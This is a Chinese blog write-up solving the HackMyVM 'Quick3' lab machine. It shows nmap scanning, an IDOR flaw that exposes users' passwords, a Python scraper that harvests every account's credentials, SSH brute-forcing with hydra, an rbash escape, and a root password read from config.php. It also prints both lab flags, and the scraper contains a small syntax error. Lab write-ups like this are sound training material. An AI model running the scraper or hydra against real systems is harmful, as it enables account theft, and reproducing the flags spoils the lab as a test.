首页 > 其他分享 >quick3 - hackmyvm

quick3 - hackmyvm

时间:2024-02-20 20:34:39浏览次数:19  
标签:quick3 url text 192.168 header hackmyvm txt 56.105

简介

难度:简单

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Quick3

本地环境

虚拟机:vitual box

靶场IP(quick3):192.168.56.105

跳板机IP(windows 10):192.168.56.1 192.168.190.100

渗透机IP(ubuntu 22.04):192.168.190.30

扫描

小型靶场,nmap跑一下全端口即可

nmap -p 1-65535 -T4 -A -v 192.168.56.105

image-20240220170813671

确定目标位22端口和80端口

http服务

这次网页和以往的不太一样。不存在LFI,路径爆破也没有有价值的东西。

image-20240220181621464

点击主页右上角的"make appointment",即可进入一个登陆界面。随便注册个号进入。

image-20240220181734753

点击右上角的"My Profile"进入个人页面

image-20240220181828741

在"Change Password"选项中发现可以直接获取密码

image-20240220182059261

因为URL的形式是/customer/user.php?id=29,尝试sql注入无果,然后随便改个id的值就进入其他人的界面了

image-20240220182343619

用这种方式可以获取所有用户的密码。简单写个爬虫收集信息:

import requests
from bs4 import BeautifulSoup as bs
from tqdm import tqdm

def getHTMLText(url,header= {'User-Agent': 'Mozilla/5.0'}):
    r = requests.get(url,headers=header,timeout=30)
    r.raise_for_status()
    r.encoding = r.apparent_encoding
    print ("URL地址为:", r.url)
    return r.text


url='http://192.168.56.105/customer/user.php'
ck = 'PHPSESSID=5um04uhc6a82h0udeb0a83li9r'
header = {'User-Agent': 'Mozilla/5.0','Connection': 'keep-alive','Cookie': ck}

username = []
passwd = []
mail = []
for i in tqdm(range(1,29)):
    urlt = url + "/?id=" + str(i)
    text = getHTMLText(urlt,header)
    soup = bs(text,'lxml')

    username.append(soup.find("div",class_="contact_inner").h3.text)
    passwd.append(soup.find('input',attrs={'id':'oldpassword'})['value'])

with open("res.txt","w") as f:
    for i in range(len(username)):
        f.write(username[i].split()[0].lower()+":"+passwd[i]"\n")

这里我专门针对用户名处理了一下,一般用户取名会用姓

image-20240220192523716

爆破ssh

这里我选择hydra

hydra -C ./res.txt 192.168.56.105 ssh

image-20240220192833502

登录,用户目录下拿到user.txt

HMV{717f274ee66f8541a3031f175f615e72}

提权

值得一提的是,现在默认的shell是rbash,也就是权限收到更多限制的shell。这里直接输入bash就能跳出rbash了。

image-20240220200256856

linpeas没能跑出能直接用的漏洞,再继续收集点信息,从config.php找到root密码

fastandquicktobefaster

image-20240220200651437

直接su,然后得到root.txt

HMV{f178761104e933f9341f13f64b38538a}

标签:quick3,url,text,192.168,header,hackmyvm,txt,56.105
From: https://www.cnblogs.com/koi514/p/18023982

相关文章

  • quick2 - hackmyvm
    简介难度:简单靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Quick2本地环境虚拟机:vitualbox靶场IP(quick2):192.168.56.103跳板机IP(windows10):192.168.56.1 192.168.190.100渗透机IP(ubuntu22.04):192.168.190.30扫描小靶场,用nmap简单扫一下即可:nmap-p1-6553......
  • HackMyVM_Za1_wp
    前言靶机是由zacarx师傅制作目前在HackMyVM平台上靶机地址:https://hackmyvm.eu/machines/machine.php?vm=Za1zacarx师傅的博客:www.zacarx.comzacarx师傅的B站:Zacarxzacarx师傅的公众号:Zacarx的随笔主机发现nmap-sn192.168.110.0/24靶机ip为192.168.110.7端口扫描nm......